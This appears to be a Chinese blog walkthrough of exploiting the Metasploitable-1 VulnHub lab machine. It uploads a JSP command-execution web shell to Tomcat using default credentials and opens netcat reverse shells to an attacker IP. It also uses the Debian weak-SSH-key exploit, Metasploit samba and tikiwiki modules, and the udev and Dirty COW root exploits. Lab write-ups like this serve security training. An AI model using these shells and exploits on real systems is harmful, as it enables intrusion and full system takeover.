VulnHub metasploitable-1

 博主介绍

‍ 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!

//提权的种类:

1 横向提权:低权限角色能够获得高权限

2.纵向提权:获得同级别角色的权限

一、信息收集

1.nmap扫描

发现开发了很多端口和服务都可以利用

VulnHub metasploitable-1_第1张图片

二、漏洞利用

1.漏洞一

1.访问80端口

首先查看第一个网站就是80端口

VulnHub metasploitable-1_第2张图片

查看下8180端口下面的tomcat

VulnHub metasploitable-1_第3张图片

2.tomcat漏洞

利用tomcat文件上传漏洞,点击tomcat manager

VulnHub metasploitable-1_第4张图片

账号:tomcat
密码:tomcat

VulnHub metasploitable-1_第5张图片

存在一个文件上传的上传点

VulnHub metasploitable-1_第6张图片

3.上传war包

jsp的可回显马,将他打包成war上传

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
"); } %>
//jar -cvf 被打包的war包名字 jsp的可回显马
jar -cvf tomcats.war tomcat.jsp

VulnHub metasploitable-1_第7张图片

然后我们访问下:
url:8180/war包名称/jsp木马完整名称

http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=id

发现回显出来的权限不高

VulnHub metasploitable-1_第8张图片

VulnHub metasploitable-1_第9张图片

4.反弹shell

┌──(rootkali)-[~/桌面]
└─# nc -lvvp 4444
listening on [any] 4444 ...

http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=nc -e /bin/bash 192.168.103.129 4444
url编码:
http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=nc%20-e%20%2Fbin%2Fbash%20192.168.103.129%204444

python -c 'import pty; pty.spawn ("/bin/bash")'  #交互式shell

VulnHub metasploitable-1_第10张图片

查看内核版本 uname -a

5.ssh公钥文件

最后在/root/.ssh目录中发现了一个公钥文件
这个在低版本中也是可以利用

VulnHub metasploitable-1_第11张图片

因为这里版本较低,然后是猜测存在openssl软件包伪随机数泄露,这里将那个包下载过来
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
(debian_ssh_rsa_2048_x86.tar.bz2)

.tar.bz2
解压:tar jxvf FileName.tar.bz2
压缩:tar jcvf FileName.tar.bz2 DirName

tar jxvf 5622.tar.bz2

然后来到/rsa/2048目录下面

grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable *.pub
//使用命令查找

57c3115d77c56390332dc5c49978627a-5429

VulnHub metasploitable-1_第12张图片

6.root权限

然后我们直接通过私钥就可以登录了,然后我们直接就登录进root了

┌──(rootkali)-[~/routing/rsa/2048]
└─# ssh [email protected] -i 57c3115d77c56390332dc5c49978627a-5429 

VulnHub metasploitable-1_第13张图片

2.漏洞二

利用msf

可疑看到开放了samba服务,版本是:samba 3.x

VulnHub metasploitable-1_第14张图片

可疑上网搜一下这个samba 3.x版本msf要用到的payload

VulnHub metasploitable-1_第15张图片

msf所要用到的命令:

search samba 3.x

use exploit/multi/samba/usermap_script

show payloads

set payload cmd/unix/reverse

show options

set RHOSTS 靶机IP

run

VulnHub metasploitable-1_第16张图片

直接进入shell,是root权限

VulnHub metasploitable-1_第17张图片

3.漏洞三

1.目录扫描

dirsearch -u "http://192.168.103.187/"

扫描到phpinfo信息和/tikiwiki

VulnHub metasploitable-1_第18张图片

tikiwiki 1.9.5存在rce漏洞

VulnHub metasploitable-1_第19张图片

2.msf

search tikiwiki

use 2

VulnHub metasploitable-1_第20张图片

run,进入shell界面

VulnHub metasploitable-1_第21张图片

VulnHub metasploitable-1_第22张图片

3.udev提权

查看版本信息

searchsploit linux 2.6

VulnHub metasploitable-1_第23张图片

copy到特定目录

cp /usr/share/exploitdb/exploits/linux/local/8572.c /root/routing

python开启http服务

python3 -m http.server 80

靶机使用wget下载到/tmp目录(tmp目录 下有可执行权限)

wget http://192.168.103.129/8572.c

VulnHub metasploitable-1_第24张图片

反弹shell的payload要保存在/tmp/run中

然后给他执行的权限,chmod +x 8478.sh

然后查看里面知道要netlink这个文件,然后搞里面不是零的pid。

我们要找到 Netlink 套接字的 PID,这个 PID 通常比 UDEVD 的 PID 小1。
我们使用 cat /proc/net/netlink 命令来查看 PID,唯一的非0的 PID 就是我们想要的数字。
我们可以验证这个 PID 是否正确,
使用 ps aux | grep udev 来查看 UDEVD 的 PID
编译脚本
gcc 8572.c -o routing

# 生成反弹shell脚本,必须得是在/tmp/run目录
echo '#!/bin/sh' > /tmp/run  #写入并生成一个run目录
echo '/bin/netcat 192.168.103.129 9999 -e /bin/sh' >> /tmp/run

# 查询udev运行PID
ps aux | grep udev

#kali开启监听
┌──(rootkali)-[~/桌面]
└─# nc -lvvp 9999             

# 运行提权脚本,后面加上udev的PID
./routing 2998  #这个 PID 通常比 udevd 的 PID 小1

python -c 'import pty; pty.spawn("/bin/bash")'  #交互式shell

VulnHub metasploitable-1_第25张图片

4.root权限

VulnHub metasploitable-1_第26张图片

4.漏洞四

1.脏牛提权

//自己可以在靶机中试试,可以的话,就直接到编译哪一步
wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c

python -c 'import pty; pty.spawn("/bin/bash")'  #交互式shell

//使用Python开启临时网站
python3 -m http.server 80
 
//靶机下载本机的dirty.c过来
//注意要看自己的ip
wget http://192.168.103.129:80/dirty.c
 
//编译
gcc -pthread dirty.c -lcrypt -o dirty
 
//给权限
chmod +x dirty
 
//执行
./dirty

2.ssh连接

注意执行以后他就会叫我们输入密码,这里看自己,出现下面那个用户就可以了
这里我的就是firefart:root

VulnHub metasploitable-1_第27张图片

你可能感兴趣的:(VulnHub,web,前端,javascript,开发语言,安全,网络安全,vulnhub)